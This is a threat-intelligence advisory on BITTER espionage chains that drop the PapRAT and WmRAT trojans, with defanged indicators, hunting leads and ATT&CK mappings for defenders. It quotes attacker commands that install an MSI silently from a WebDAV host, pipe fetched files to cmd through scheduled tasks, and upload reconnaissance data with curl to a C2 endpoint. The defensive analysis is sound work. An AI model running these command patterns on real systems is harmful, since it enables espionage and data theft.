BITTER PapRAT
BITTER PapRAT and WmRAT: ftp.exe, VHDX and WebDAV MSI Espionage Chains
- Published
- 2 November 2026
- Added
- 12 November 2026, 18:20 UK
- Last updated
- 12 November 2026
18 to block nowNothing to hunt5 behaviours to hunt
Hunt3 platforms
Run the hunt before you block, to find past activity. The same hunt is published for each platform. Preview and copy the queries in the dashboard.
- Defender XDRKQLDefender portal > Hunting > Advanced hunting. Paste and run over 30 days.Download hunt.kql
- SplunkSPLSearch & Reporting, last 30 days or more. Reads the CIM data models.Download hunt.spl
- Google SecOpsYARA-L 2.0Rules Editor. Paste, Retrohunt over 30 days, then turn on live mode.Download hunt.yaral
These queries can return false positives. Know your environment and confirm a hit before acting.
Summary
BITTER espionage chains using ftp.exe, VHDX and WebDAV MSI installs to drop PapRAT and WmRAT. In chain 1, a LNK lure runs the native ftp.exe, whose !
Do now
- Block the 18 indicators.
- Run the hunt.
- Check for ftp.exe.
Indicators 18
| Value | Type | Action | Copy |
|---|---|---|---|
netmansrvdns[.]com | Domain | block | |
rappellingaart[.]com | Domain | block | |
techtalkhelp[.]com | Domain | block | |
rivingtonclarks[.]com | Domain | block | |
goodnfortunes[.]com | Domain | block | |
felixfuturenext[.]com | Domain | block | |
gomescareerplans[.]com | Domain | block | |
chestergreenfarming[.]com | Domain | block | |
hxxps://techtalkh…m/talk.log | URL | block | |
hxxp://www[.]rivi…banaNa.php | URL | block | |
hxxps://goodnfort…om/ucl.php | URL | block | |
hxxps://felixfutu…mological/ | URL | block | |
hxxp://gomescaree….]com/docs | URL | block | |
a3081df333ca7f18b…9cab07da4c | SHA256 | block | |
e3992f8c945b07612…93e6d2b76b | SHA256 | block | |
ccefbdec2718d864d…f5f3591c88 | SHA256 | block | |
569a21b519aaac8c9…425f6a4b33 | SHA256 | block | |
411c0b9a2f98b927d…47fb88546b | SHA256 | block |
Sources Fortinet · ThreatFox · The Hacker News
More detail
What to do
- Block the eight BITTER domains, five URLs and five hashes (they are in the Defender XDR import file) and search 90 days of DNS and proxy logs for them.
- Hunt for ftp.exe launched by explorer.exe or a LNK that spawns cmd.exe, and for scheduled tasks named MicrosoftUpdates\updates* or BiosUpdates\update* that run 'conhost --headless cmd /c more ...|cmd'.
- Alert on msiexec installing a package from a UNC path containing @SSL (WebDAV), and on files named bruzsvc.exe or vnces.exe or curl writing to C:\users\public\music\err.log or C:\programdata\talk.log.
- Block or quarantine VHDX, VHD and .url attachments at the mail gateway; if a host is confirmed, isolate it, delete the scheduled tasks and rotate the user's credentials.
Behaviours to hunt 5
Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.
alert ftp.exe spawning cmd, then a scheduled task
Look forftp.exe launched from a LNK (parent explorer.exe or cmd.exe) that then spawns cmd.exe, followed within 10 minutes by schtasks /create on the same device
Why it mattersIn BITTER's chain 1 the LNK runs ftp.exe, whose ! prefix pipes res.ico to cmd ("!more res.ico"), and the script immediately creates a scheduled task. FortiGuard Labs notes this LOLBin chain avoids script-engine monitoring aimed at PowerShell or wscript. ftp.exe is rarely used interactively on modern endpoints, so a child cmd.exe is a strong lead. Fortinet
Log sourceEDR process events (DeviceProcessEvents), Windows Security 4688 with command line, Sysmon 1
QueriesKQL · SPL · YARA-L
alert Fake update tasks piping a log file to cmd
Look forScheduled tasks named MicrosoftUpdates\updates<digits> or BiosUpdates\update<digits> that run conhost --headless cmd /c more <file>|cmd
Why it mattersFortiGuard Labs shows tasks MicrosoftUpdates\updates11678, MicrosoftUpdates\updates88679 and BiosUpdates\update101 that re-read C:\users\public\music\err.log or C:\programdata\talk.log every 15 to 49 minutes and pipe the content to cmd, so commands change server-side without a new binary. Task names change between victims; the conhost --headless ... more ...|cmd pattern is the steadier signal. Fortinet
Log sourceEDR process events, Windows Security 4698 (scheduled task created), Task Scheduler operational log
QueriesKQL · SPL · YARA-L
hunt curl fetching commands into fake log files
Look forcurl writing to C:\users\public\music\err.log or C:\programdata\talk.log, or posting a file with -F file=@ to a ucl.php endpoint
Why it mattersThe BITTER scripts fetch commands with curl --ssl-no-revoke -k into these fake log files and upload a reconnaissance file (abc.pdf with directory listings, tasklist, antivirus products and drives) with curl -X POST -F to ucl.php. Fortinet
Log sourceEDR process and file events, proxy logs
QueriesKQL · SPL
alert msiexec installing an MSI over WebDAV (@SSL)
Look formsiexec /i installing a package from a WebDAV UNC path containing @SSL (for example \\host@SSL\secure-docs\Imp_Details.msi /qn)
Why it mattersIn chain 3 an Internet Shortcut (Invitation 2026.url) opens a WebDAV share and the next script installs the PapRAT MSI silently straight from it, so mail and browser attachment controls never see the MSI. Fortinet
Log sourceEDR process events, Windows Security 4688, WebClient/WebDAV network logs
QueriesKQL · SPL · YARA-L
hunt VHDX LNK running an MSI with a decoy spreadsheet
Look forA LNK launched from a mounted VHDX that runs cmd.exe /c <name>.msi & <name>.xls, installing an MSI and opening a decoy spreadsheet at the same time
Why it mattersChain 2 hides Visa_Details.msi and Attachment-2.xls beside a single visible LNK in "Letter from the Ambassador - 11th Belt and Road Summit.vhdx"; the MSI's only action is a Type 194 custom action that drops PapRAT as bruzsvc.exe. Fortinet
Log sourceEDR process events, Windows Security 4688
QueriesKQL · SPL
Affected countries and sectors
- Targets
- South Asia
- Sectors
- Not stated
Background
FortiGuard Labs attributes with high confidence to BITTER, a suspected South Asian espionage group active since 2013 that targets government, energy and engineering organisations, a campaign against South Asian organisations built on three infection chains and a new remote access trojan, PapRAT. In chain 1, a LNK lure runs the native ftp.exe, whose ! prefix pipes res.ico to cmd; the script creates scheduled tasks such as MicrosoftUpdates\updates11678 and BiosUpdates\update101 that run 'conhost --headless cmd /c more <file>|cmd' on files in C:\users\public\music\err.log or C:\programdata\talk.log, refreshed with curl from goodnfortunes[.]com and techtalkhelp[.]com, uploads a reconnaissance file to goodnfortunes[.]com/ucl.php and shows a fake 'Explorer was unable to open this file!' message. In chain 2, a VHDX image holds a LNK that runs 'cmd.exe /c Visa_Details.msi & Attachment-2.xls', and the MSI's only action is a Type 194 custom action that drops PapRAT disguised as bruzsvc.exe ('Microsoft redistributables'). In chain 3, Invitation 2026.url opens a WebDAV share on rappellingaart[.]com and the next stage runs 'msiexec /i \\rappellingaart[.]com@SSL\secure-docs\Imp_Details.msi /qn'. PapRAT, in C++ and Rust builds, polls rivingtonclarks[.]com or chestergreenfarming[.]com over HTTP and downloaded WmRAT (vnces.exe), which talks to netmansrvdns[.]com. All eight domains, five URLs and five hashes are on the block list.
Downloads
MITRE ATT&CK13
- T1566.001Spearphishing Attachment
- T1204.002Malicious File
- T1553.005Mark-of-the-Web Bypass
- T1202Indirect Command Execution
- T1053.005Scheduled Task
- T1218.007Msiexec
- T1036.005Match Legitimate Name or Location
- T1105Ingress Tool Transfer
- T1071.001Web Protocols
- T1082System Information Discovery
- T1518.001Security Software Discovery
- T1113Screen Capture
- T1041Exfiltration Over C2 Channel